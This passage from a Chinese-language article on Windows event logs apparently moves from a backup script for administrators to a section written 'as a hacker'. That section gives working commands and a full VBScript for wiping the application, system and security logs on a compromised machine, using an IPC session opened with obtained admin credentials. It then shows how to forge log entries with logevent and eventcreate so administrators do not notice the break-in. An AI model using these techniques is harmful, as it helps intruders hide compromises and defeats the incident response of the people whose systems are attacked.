could not be backed up."
else Ws cript.Echo "success backup log"
End If
Next
程序说明：如果备份成功将窗口提示："success backup log" 否则提示："The Application event log could not be backed up",此处备份的日志为application 备份位置为f:\application.evt,可以自行修改，此处备份的格式为evt的原始格式，用记事本打开则为乱码，这一点他不如dumpel用得方便。
三：作为黑客
1。日至清除
一个入侵系统成功后的黑客第一件事便是清除日志，如果以图形界面远程控制对方机器或是从终端登陆进入，删除日志不是一件困难的事，由于日志虽然也是作为一种服务运行，但不同于http,ftp这样的服务，可以在命令行下先停止，再删除，在m命令行下用net stop eventlog是不能停止的，所以有人认为在命令行下删除日志是很困难的，实际上不是这样，下面介绍几种方法:
1.借助第三方工具：如小榕的elsave.exe远程清除system,applicaton,security的软件，使用方法很简单，首先利用获得的管理员账号与对方建立ipc会话，net use \\ip pass /user: user
然后命令行下：elsave -s \\ip -l application -C，这样就删除了安全日志。
其实利用这个软件还可以进行备份日志，只要加一个参数 -f filename就可以了，在此不再详述。
2.利用脚本编程中的VMI，也可以实现删除日志，首先获得object对象，然后利用其clearEventLog() 方法删除日志。源代码：
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加入数组。
然后用一个for 循环,删除数组中的每一个元素,即各个日志.
2。创建日志：
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了，所以一个聪明的黑客的学会如何
伪造日志：
1。利用脚本编程中的eventlog方法是创造日志变得非常简单；下面看一个代码
createlog.vbs
set ws=ws cript.createobject("Ws cript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志
这个代码很容易阅读，首先获得ws cript的一个shell对象，然后利用shell对象的logevent方法
logevent的用法：logevent eventtype,"des cription" [,remote system]
eventtype 为日志类型，可以使用的如下:0 代表成功执行，1 执行出错 ，2 警告 ， 4，信息 ，8 成功审计 16 故障审计
所以上面代码中，把0改为1,2,4,8,16均可，引号下的为日志描述。
这种方法写的日志有一个缺点，只能写到应用程序日志，而且日至来源只能为wsh,即windows s cripting host,所以不能起太多的隐蔽作用。
2，微软为了方便系统管理员和程序员，在xp下有个新的命令行工具，eventcreate.exe,利用它，创建日志更加简单。
eventcreate -s server -l logname -u username -p password -so source -t eventtype -id id -d des cription
含义：-s 为远程主机创建日志： -u 远程主机的用户名 -p 远程主机的用户密码
-l 日志；可以创建system和application 不能创建security日志，
-so 日志来源，可以是任何日志 -t 日志类型 如information信息，error错误,warning 警告，
-d 日志描述，可以是任意语句 -id 自主日志为1-1000之内
例如，我们要本地创建一个系统日志，日至来源为admin,日志类型是警告,描述为"this is a test",事件ID为500
可以用如下参数
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
这个工具不能创建安全日志。至于如何创建安全日志，希望大家能够找到一个好方法！
此新闻共有2页 1 2 |
